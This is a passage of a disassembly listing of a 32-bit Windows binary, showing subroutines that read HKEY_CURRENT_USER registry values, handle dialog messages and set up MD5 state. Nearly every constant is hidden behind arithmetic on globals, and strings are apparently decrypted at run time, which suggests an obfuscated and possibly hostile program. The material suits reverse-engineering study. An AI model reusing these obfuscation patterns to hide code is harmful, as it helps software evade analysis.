		mov	[edi+esi*4-0Ch], ebx
		movsx	esi, word_551240
		add	esi, dword_551200
		mov	ebx, [edi+8]
		add	ebx, [ebp+var_4]
		mov	[edi+esi*4-2Ch], ebx
		mov	esi, dword_55118C
		mov	ebx, [edi+4]
		add	ebx, [ebp+var_8]
		mov	[edi+esi*4], ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441803	proc near		; DATA XREF: .data:005512ACo
		push	ebp
		mov	ebp, esp
		push	offset dword_54FB14
		call	ds:dword_48B9F8
		mov	eax, ds:dword_54FB14
		pop	ebp
		retn	4
sub_441803	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44181A	proc near		; CODE XREF: sub_440364+32Dp

var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_303		= byte ptr -303h
var_20D		= byte ptr -20Dh
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_FF		= byte ptr -0FFh
var_FD		= byte ptr -0FDh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 318h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	edi, dword_551140
		dec	edi
		jmp	loc_441A63
; ---------------------------------------------------------------------------


loc_441838:				; CODE XREF: sub_44181A+253j
		push	offset word_551DFA
		call	sub_43CAF7
		push	edi
		push	eax
		lea	edx, [ebp+var_303]
		push	edx
		call	ds:dword_50E928
		mov	eax, dword_551188
		add	eax, 0FAh
		add	eax, dword_55118C
		mov	[ebp+var_204], eax
		push	offset dword_551DE8
		call	sub_43CAF7
		lea	edx, [ebp+var_314]
		push	edx
		lea	edx, [ebp+var_204]
		push	edx
		lea	edx, [ebp+var_FF]
		push	edx
		push	eax
		lea	edx, [ebp+var_303]
		push	edx
		push	80000001h
		call	sub_442B18
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		test	eax, eax
		jz	loc_441A62
		lea	eax, [ebp+var_1FE]
		push	eax
		lea	eax, [ebp+var_FD]
		push	eax
		call	sub_43DBFE
		mov	eax, dword_5510E0
		add	eax, dword_551200
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		push	ebx
		call	sub_43FE22
		add	esp, 14h
		mov	edx, dword_55116C
		add	edx, 0FFFAh
		cmp	eax, edx
		jz	loc_441A62
		push	offset word_551D8A
		call	sub_43CAF7
		pop	ecx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_4475D4
		mov	eax, dword_551184
		add	eax, dword_551160
		sub	eax, 0Bh
		mov	[ebp+var_30C], eax
		mov	eax, dword_5511F4
		sub	eax, 9
		mov	[ebp+var_308], eax
		jmp	short loc_441960
; ---------------------------------------------------------------------------


loc_44192B:				; CODE XREF: sub_44181A+150j
		mov	eax, [ebp+var_308]
		cmp	[ebp+eax+var_FF], 23h
		jnz	short loc_44195A
		mov	eax, [ebp+var_308]
		mov	edx, dword_551110
		movsx	ecx, word_55109C
		add	edx, ecx
		sub	edx, 0Fh
		mov	[ebp+eax+var_FF], dl


loc_44195A:				; CODE XREF: sub_44181A+11Fj
		inc	[ebp+var_308]


loc_441960:				; CODE XREF: sub_44181A+10Fj
		cmp	[ebp+var_308], 0FFh
		jb	short loc_44192B


loc_44196C:				; CODE XREF: sub_44181A+242j
		mov	eax, dword_5510E8
		add	eax, 0FBh
		add	eax, dword_5510DC
		mov	[ebp+var_204], eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		mov	eax, [ebp+var_30C]
		lea	eax, [ebp+eax+var_FF]
		push	eax
		lea	eax, [ebp+var_303]
		push	eax
		push	80000001h
		call	sub_442B18
		add	esp, 18h
		mov	[ebp+var_310], eax
		test	eax, eax
		jnz	short loc_4419E3
		movsx	eax, word_5511E8
		movsx	edx, word_551190
		add	eax, edx
		mov	edx, dword_551134
		sub	edx, 2
		mov	[ebp+eax+var_20D], dl


loc_4419E3:				; CODE XREF: sub_44181A+1A7j
		mov	eax, [ebp+var_30C]
		mov	[ebp+var_318], eax
		lea	ecx, [ebp+eax+var_FF]
		or	eax, 0FFFFFFFFh


loc_4419F9:				; CODE XREF: sub_44181A+1E4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4419F9
		mov	ecx, [ebp+var_318]
		add	ecx, eax
		mov	[ebp+var_30C], ecx
		lea	eax, [ebp+var_1FE]
		push	eax
		push	esi
		call	ds:dword_44802C
		add	esp, 8
		push	offset byte_551D85
		call	sub_43CAF7
		add	esp, 4
		push	eax
		push	esi
		call	ds:dword_44802C
		add	esp, 8
		inc	[ebp+var_30C]
		mov	eax, [ebp+var_30C]
		movzx	eax, [ebp+eax+var_FF]
		mov	edx, dword_551158
		add	edx, dword_5511BC
		sub	edx, 9
		cmp	eax, edx
		jnz	loc_44196C


loc_441A62:				; CODE XREF: sub_44181A+89j
					; sub_44181A+CFj
		inc	edi


loc_441A63:				; CODE XREF: sub_44181A+19j
		mov	eax, dword_551110
		add	eax, 15h
		cmp	edi, eax
		jb	loc_441838
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44181A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441A78	proc near		; DATA XREF: .data:005512B0o
		push	ebp
		mov	ebp, esp
		movsx	eax, word_551208
		dec	eax
		cmp	ds:dword_54FB14, eax
		jbe	short loc_441A96
		push	offset dword_54FB14
		call	ds:dword_448014


loc_441A96:				; CODE XREF: sub_441A78+11j
		mov	eax, ds:dword_54FB14
		pop	ebp
		retn	4
sub_441A78	endp


; =============== S U B	R O U T	I N E =======================================



sub_441A9F	proc near		; CODE XREF: sub_43D3AD+83p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ecx, [esp+8+arg_0]
		mov	esi, dword_551214
		mov	ebx, dword_5510D8
		add	ebx, 0EFCDAB82h
		movsx	edx, word_5510CC
		add	ebx, edx
		mov	[ecx+esi*4-8], ebx
		movsx	esi, word_551138
		mov	ebx, dword_551160
		add	ebx, 1032546Fh
		mov	[ecx+esi*4], ebx
		movsx	esi, word_5511C4
		add	esi, dword_551100
		mov	ebx, dword_551150
		add	ebx, 98BADCF4h
		add	ebx, dword_5511BC
		mov	[ecx+esi*4-3Ch], ebx
		mov	esi, dword_551110
		movsx	ebx, word_551148
		add	ebx, 67452300h
		mov	[ecx+esi*4-24h], ebx
		pop	esi
		pop	ebx
		retn
sub_441A9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_441B17	proc near		; CODE XREF: sub_446ED7+2Fp
		push	edi
		push	offset word_551D7A
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_55126C, eax
		mov	eax, dword_55110C
		movsx	edx, word_551128
		add	eax, edx
		sub	eax, 7
		cmp	dword_55126C, eax
		jnz	short loc_441B5F
		push	offset asc_551D6F ; "\a"
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_55126C, eax


loc_441B5F:				; CODE XREF: sub_441B17+2Fj
		movsx	eax, word_551128
		sub	eax, 5
		cmp	dword_55126C, eax
		jz	short loc_441B8E
		push	offset byte_551D59
		call	sub_43CAF7
		pop	ecx
		push	eax
		push	dword_55126C
		call	ds:dword_44B1AC
		mov	ds:dword_44B5B4, eax


loc_441B8E:				; CODE XREF: sub_441B17+58j
		pop	edi
		retn
sub_441B17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441B90	proc near		; CODE XREF: sub_43D0C6+8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, ebx
		shr	edi, 4
		mov	eax, edi
		mov	ecx, dword_551174
		add	ecx, 9
		mul	ecx
		mov	[ebp+var_4], eax
		mov	esi, ebx
		sub	esi, eax
		movsx	ebx, word_551104
		inc	ebx
		mov	ecx, esi
		mov	esi, ebx
		shl	esi, cl
		mov	ebx, [ebp+arg_0]
		movzx	ebx, word ptr [ebx+edi*2]
		mov	edi, ebx
		and	edi, esi
		cmp	edi, esi
		jnz	short loc_441BE4
		movsx	eax, word_551144
		mov	edi, eax
		add	edi, dword_551098
		sub	edi, 0Ch
		jmp	short loc_441BF6
; ---------------------------------------------------------------------------


loc_441BE4:				; CODE XREF: sub_441B90+3Ej
		movsx	eax, word_5510F8
		mov	edi, eax
		add	edi, dword_551140
		sub	edi, 6


loc_441BF6:				; CODE XREF: sub_441B90+52j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441BFD	proc near		; CODE XREF: sub_43F41A+16Fp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4457E1
		add	esp, 8
		mov	esi, eax
		movsx	eax, word_551194
		dec	eax
		cmp	esi, eax
		jnz	short loc_441C2A
		xor	eax, eax
		jmp	loc_441CD3
; ---------------------------------------------------------------------------


loc_441C2A:				; CODE XREF: sub_441BFD+24j
		mov	eax, dword_5511A0
		mov	edi, eax
		add	edi, dword_5511E0
		sub	edi, 8
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_441C42:				; CODE XREF: sub_441BFD+4Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_441C42
		mov	[ebp+var_8], eax


loc_441C4C:				; CODE XREF: sub_441BFD+CBj
		lea	ecx, [esi+edi]
		or	eax, 0FFFFFFFFh


loc_441C52:				; CODE XREF: sub_441BFD+5Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_441C52
		mov	ebx, eax
		sub	ebx, [ebp+arg_8]
		cmp	ebx, [ebp+var_8]
		jnz	short loc_441CB2
		mov	[ebp+var_10], 1
		movsx	eax, word_551128
		sub	eax, 5
		mov	[ebp+var_C], eax
		jmp	short loc_441C9B
; ---------------------------------------------------------------------------


loc_441C79:				; CODE XREF: sub_441BFD+A1j
		mov	eax, [ebp+var_C]
		mov	edx, edi
		add	edx, eax
		add	edx, [ebp+arg_8]
		movzx	edx, byte ptr [esi+edx]
		mov	ecx, [ebp+arg_4]
		movsx	eax, byte ptr [ecx+eax]
		cmp	edx, eax
		jz	short loc_441C98
		and	[ebp+var_10], 0
		jmp	short loc_441CA0
; ---------------------------------------------------------------------------


loc_441C98:				; CODE XREF: sub_441BFD+93j
		inc	[ebp+var_C]


loc_441C9B:				; CODE XREF: sub_441BFD+7Aj
		cmp	[ebp+var_C], ebx
		jb	short loc_441C79


loc_441CA0:				; CODE XREF: sub_441BFD+99j
		cmp	[ebp+var_10], 0
		jz	short loc_441CB2
		push	esi
		call	ds:dword_44B5CC
		xor	eax, eax
		inc	eax
		jmp	short loc_441CD3
; ---------------------------------------------------------------------------


loc_441CB2:				; CODE XREF: sub_441BFD+64j
					; sub_441BFD+A7j
		add	edi, [ebp+arg_8]
		mov	eax, dword_551238
		inc	eax
		add	eax, dword_55120C
		add	edi, eax
		add	edi, ebx
		cmp	edi, [ebp+var_4]
		jb	short loc_441C4C
		push	esi
		call	ds:dword_44B5CC
		xor	eax, eax


loc_441CD3:				; CODE XREF: sub_441BFD+28j
					; sub_441BFD+B3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441BFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441CD8	proc near		; CODE XREF: sub_43B5D8+39Ap
					; sub_43B5D8+493p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	edi, dword_5511AC
		sub	edi, 2
		cmp	edx, edi
		jnz	short loc_441CFC
		mov	eax, [ebp+arg_0]
		jmp	short loc_441D16
; ---------------------------------------------------------------------------


loc_441CFC:				; CODE XREF: sub_441CD8+1Dj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	[ebp+var_8], eax
		mov	edi, eax
		mul	esi
		mov	[ebp+var_C], eax
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_4], edi
		mov	eax, edi


loc_441D16:				; CODE XREF: sub_441CD8+22j
		pop	edi
		pop	esi
		leave
		retn
sub_441CD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441D1A	proc near		; DATA XREF: sub_43A324+1017o
					; sub_43A324+1067o ...

var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_219		= byte ptr -219h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_108		= byte ptr -108h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cmp	eax, 100h
		jz	short loc_441D4B
		jl	loc_442306
		cmp	eax, 111h
		jz	loc_441DE6
		jmp	loc_442306
; ---------------------------------------------------------------------------


loc_441D4B:				; CODE XREF: sub_441D1A+19j
		cmp	[ebp+arg_8], 9
		jnz	loc_442306
		movsx	edi, word_551240
		sub	edi, 8
		jmp	short loc_441DCC
; ---------------------------------------------------------------------------


loc_441D61:				; CODE XREF: sub_441D1A+C5j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		cmp	ds:dword_4CC564[eax], esi
		jnz	short loc_441D96
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_4CC568[eax]
		call	ds:dword_48B9FC
		jmp	loc_442306
; ---------------------------------------------------------------------------


loc_441D96:				; CODE XREF: sub_441D1A+5Bj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		cmp	ds:dword_4CC560[eax], esi
		jnz	short loc_441DCB
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_4CC564[eax]
		call	ds:dword_48B9FC
		jmp	loc_442306
; ---------------------------------------------------------------------------


loc_441DCB:				; CODE XREF: sub_441D1A+90j
		inc	edi


loc_441DCC:				; CODE XREF: sub_441D1A+45j
		movsx	eax, word_551210
		mov	edx, dword_5511BC
		lea	eax, [eax+edx+59h]
		cmp	edi, eax
		jb	short loc_441D61
		jmp	loc_442306
; ---------------------------------------------------------------------------


loc_441DE6:				; CODE XREF: sub_441D1A+26j
		movsx	eax, word_551128
		mov	edi, eax
		add	edi, dword_551174
		sub	edi, 0Ch
		jmp	short loc_441E14
; ---------------------------------------------------------------------------


loc_441DFA:				; CODE XREF: sub_441D1A+10Aj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		mov	eax, ds:dword_4CC56C[eax]
		cmp	[ebp+arg_C], eax
		jz	short loc_441E26
		inc	edi


loc_441E14:				; CODE XREF: sub_441D1A+DEj
		mov	eax, dword_551140
		add	eax, 63h
		add	eax, dword_551180
		cmp	edi, eax
		jb	short loc_441DFA


loc_441E26:				; CODE XREF: sub_441D1A+F7j
		mov	eax, dword_5511B0
		add	eax, 5Dh
		cmp	edi, eax
		jz	loc_442306
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_4CC558[eax]
		call	ds:dword_54FF38
		movsx	eax, word_5511A4
		mov	byte ptr [ebp+eax+var_20C+2], 4Bh
		movsx	eax, word_55113C
		mov	edx, dword_5511D8
		sub	edx, 4
		mov	byte ptr [ebp+eax+var_20C+1], dl
		movsx	eax, word_5511A8
		add	eax, dword_5510E8
		mov	[ebp+eax+var_204], 7Ch
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44802C
		add	esp, 8
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_4CC560[eax]
		call	ds:dword_54FF38
		mov	eax, dword_55120C
		movsx	edx, word_551194
		add	eax, edx
		movsx	eax, [ebp+eax+var_108]
		mov	edx, dword_5511C8
		add	edx, dword_55111C
		sub	edx, 0Ah
		cmp	eax, edx
		jnz	short loc_441F59
		push	offset word_551D36
		call	sub_43CAF7
		pop	ecx
		movsx	edx, word_551138
		sub	edx, 3
		push	edx
		mov	edx, dword_5511F4
		add	edx, dword_5510AC
		sub	edx, 10h
		push	edx
		push	eax
		mov	edx, dword_551140
		add	edx, dword_5510B8
		sub	edx, 5
		push	edx
		call	ds:dword_50E938
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_4CC560[eax]
		call	ds:dword_48B9FC
		jmp	loc_442306
; ---------------------------------------------------------------------------


loc_441F59:				; CODE XREF: sub_441D1A+1E1j
		push	offset byte_551D31
		call	sub_43CAF7
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_44802C
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44802C
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_4CC564[eax]
		call	ds:dword_54FF38
		mov	eax, dword_5510AC
		movsx	eax, [ebp+eax+var_10A]
		mov	edx, dword_551098
		add	edx, dword_5510C0
		sub	edx, 0Bh
		cmp	eax, edx
		jnz	short loc_442028
		push	offset byte_551D0F
		call	sub_43CAF7
		pop	ecx
		mov	edx, dword_551140
		add	edx, dword_5510C8
		sub	edx, 2
		push	edx
		mov	edx, dword_5511F8
		add	edx, dword_55116C
		sub	edx, 8
		push	edx
		push	eax
		movsx	edx, word_551148
		dec	edx
		push	edx
		call	ds:dword_50E938
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_4CC564[eax]
		call	ds:dword_48B9FC
		jmp	loc_442306
; ---------------------------------------------------------------------------


loc_442028:				; CODE XREF: sub_441D1A+2B2j
		push	offset word_551D0A
		call	sub_43CAF7
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_44802C
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44802C
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_4CC568[eax]
		call	ds:dword_54FF38
		mov	eax, dword_551154
		movsx	eax, [ebp+eax+var_10B]
		movsx	edx, word_551210
		add	edx, dword_55123C
		sub	edx, 5
		cmp	eax, edx
		jz	loc_4421CB
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_4420AB:				; CODE XREF: sub_441D1A+396j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4420AB
		mov	edx, eax
		mov	ecx, dword_55122C
		movsx	eax, word_551208
		add	ecx, eax
		sub	ecx, 4
		cmp	edx, ecx
		jb	loc_4421CB
		mov	eax, dword_55122C
		sub	eax, 7
		mov	[ebp+var_105], al
		jmp	short loc_442100
; ---------------------------------------------------------------------------


loc_4420DE:				; CODE XREF: sub_441D1A+3FFj
		movzx	eax, [ebp+var_105]
		mov	al, [ebp+eax+var_103]
		cmp	al, 30h
		jl	short loc_4420F4
		cmp	al, 39h
		jle	short loc_4420F9


loc_4420F4:				; CODE XREF: sub_441D1A+3D4j
		jmp	loc_4421CB
; ---------------------------------------------------------------------------


loc_4420F9:				; CODE XREF: sub_441D1A+3D8j
		add	[ebp+var_105], 1


loc_442100:				; CODE XREF: sub_441D1A+3C2j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_442109:				; CODE XREF: sub_441D1A+3F4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442109
		movzx	ecx, [ebp+var_105]
		cmp	ecx, eax
		jb	short loc_4420DE
		mov	eax, dword_5511E0
		add	eax, dword_55120C
		sub	eax, 8
		mov	[ebp+var_104], al
		jmp	short loc_4421A7
; ---------------------------------------------------------------------------


loc_442131:				; CODE XREF: sub_441D1A+4A6j
		mov	al, [ebp+var_104]
		mov	[ebp+var_219], al
		jmp	short loc_442168
; ---------------------------------------------------------------------------


loc_44213F:				; CODE XREF: sub_441D1A+467j
		movzx	eax, [ebp+var_219]
		movsx	eax, [ebp+eax+var_103]
		movzx	edx, [ebp+var_104]
		movsx	edx, [ebp+edx+var_103]
		cmp	eax, edx
		jnz	short loc_442183
		add	[ebp+var_219], 1


loc_442168:				; CODE XREF: sub_441D1A+423j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_442171:				; CODE XREF: sub_441D1A+45Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442171
		movzx	ecx, [ebp+var_219]
		cmp	ecx, eax
		jb	short loc_44213F


loc_442183:				; CODE XREF: sub_441D1A+445j
		movzx	eax, [ebp+var_219]
		movzx	edx, [ebp+var_104]
		sub	eax, edx
		mov	edx, dword_5510BC
		add	edx, 3
		cmp	eax, edx
		jg	short loc_4421CB
		add	[ebp+var_104], 1


loc_4421A7:				; CODE XREF: sub_441D1A+415j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_4421B0:				; CODE XREF: sub_441D1A+49Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4421B0
		movzx	ecx, [ebp+var_104]
		cmp	ecx, eax
		jb	loc_442131
		jmp	loc_442267
; ---------------------------------------------------------------------------


loc_4421CB:				; CODE XREF: sub_441D1A+382j
					; sub_441D1A+3AEj ...
		mov	eax, dword_551170
		add	eax, 7CCh
		push	eax
		call	ds:dword_50E924
		push	offset a5	; "5"
		call	sub_43CAF7
		mov	[ebp-21Ch], eax
		push	offset word_551CBA
		call	sub_43CAF7
		mov	edx, dword_551108
		sub	edx, 8
		push	edx
		push	eax
		mov	edx, [ebp-21Ch]
		push	edx
		mov	edx, dword_55122C
		add	edx, dword_5510EC
		sub	edx, 8
		push	edx
		call	ds:dword_50E938
		push	offset word_551CB6
		call	sub_43CAF7
		add	esp, 10h
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_220], eax
		mov	edx, eax
		push	ds:dword_4CC568[edx]
		call	ds:dword_54E954
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_224], eax
		push	ds:dword_4CC568[eax]
		call	ds:dword_48B9FC
		jmp	loc_442306
; ---------------------------------------------------------------------------


loc_442267:				; CODE XREF: sub_441D1A+4ACj
		push	offset byte_551CB1
		call	sub_43CAF7
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_44802C
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44802C
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_228], eax
		push	ds:dword_4CC558[eax]
		call	ds:dword_48C1E8
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_449014
		add	esp, 18h
		push	5
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_22C], eax
		push	ds:dword_4CC554[eax]
		call	ds:dword_54E958
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_230], eax
		movsx	eax, word_551198
		movsx	edx, word_5511CC
		add	eax, edx
		sub	eax, 0Ah
		mov	edx, [ebp+var_230]
		mov	ds:dword_4CC550[edx], eax


loc_442306:				; CODE XREF: sub_441D1A+1Bj
					; sub_441D1A+2Cj ...
		mov	edi, dword_5511DC
		jmp	loc_4423E8
; ---------------------------------------------------------------------------


loc_442311:				; CODE XREF: sub_441D1A+6E1j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_8], eax
		cmp	esi, ds:dword_4CC55C[eax]
		jnz	short loc_442348
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_C], eax
		push	ds:dword_4CC57C[eax]
		call	ds:dword_4CE8F8
		jmp	loc_442401
; ---------------------------------------------------------------------------


loc_442348:				; CODE XREF: sub_441D1A+608j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_10], eax
		cmp	esi, ds:dword_4CC568[eax]
		jnz	short loc_44237F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_14], eax
		push	ds:dword_4CC578[eax]
		call	ds:dword_4CE8F8
		jmp	loc_442401
; ---------------------------------------------------------------------------


loc_44237F:				; CODE XREF: sub_441D1A+63Fj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_18], eax
		cmp	esi, ds:dword_4CC560[eax]
		jnz	short loc_4423B3
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_1C], eax
		push	ds:dword_4CC570[eax]
		call	ds:dword_4CE8F8
		jmp	short loc_442401
; ---------------------------------------------------------------------------


loc_4423B3:				; CODE XREF: sub_441D1A+676j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20], eax
		cmp	esi, ds:dword_4CC564[eax]
		jnz	short loc_4423E7
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_24], eax
		push	ds:dword_4CC574[eax]
		call	ds:dword_4CE8F8
		jmp	short loc_442401
; ---------------------------------------------------------------------------


loc_4423E7:				; CODE XREF: sub_441D1A+6AAj
		inc	edi


loc_4423E8:				; CODE XREF: sub_441D1A+5F2j
		mov	eax, dword_5510E8
		add	eax, 5Eh
		movsx	edx, word_5510B4
		add	eax, edx
		cmp	edi, eax
		jb	loc_442311


loc_442401:				; CODE XREF: sub_441D1A+629j
					; sub_441D1A+660j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_441D1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442408	proc near		; CODE XREF: sub_43E501+A6p
					; sub_43E501+DCp

var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		movsx	eax, word_5510D0
		movsx	edx, word_551148
		add	eax, edx
		sub	eax, 7
		cmp	byte ptr [edi+eax], 2Eh
		jz	short loc_442474
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_44B1A4
		push	offset dword_551CAC
		call	sub_43CAF7
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_44802C
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_44802C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4460DD
		add	esp, 20h


loc_442474:				; CODE XREF: sub_442408+25j
		pop	edi
		pop	esi
		leave
		retn
sub_442408	endp


; =============== S U B	R O U T	I N E =======================================



sub_442478	proc near		; CODE XREF: sub_43D0C6+C3p
					; sub_43D0C6+122p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [esp+8+arg_4]
		mov	ecx, dword_551214
		add	ecx, 1Dh
		mov	eax, dword_55121C
		movsx	edx, word_5511F0
		add	eax, edx
		sub	eax, 9
		sub	ecx, eax
		jmp	short loc_4424BE
; ---------------------------------------------------------------------------


loc_4424A0:				; CODE XREF: sub_442478+4Ej
		mov	dx, [ebx+ecx*2]
		cmp	dx, [esi+ecx*2]
		jnb	short loc_4424AE
		xor	eax, eax
		jmp	short loc_4424CB
; ---------------------------------------------------------------------------


loc_4424AE:				; CODE XREF: sub_442478+30j
		mov	dx, [ebx+ecx*2]
		cmp	dx, [esi+ecx*2]
		jbe	short loc_4424BD
		xor	eax, eax
		inc	eax
		jmp	short loc_4424CB
; ---------------------------------------------------------------------------


loc_4424BD:				; CODE XREF: sub_442478+3Ej
		dec	ecx


loc_4424BE:				; CODE XREF: sub_442478+26j
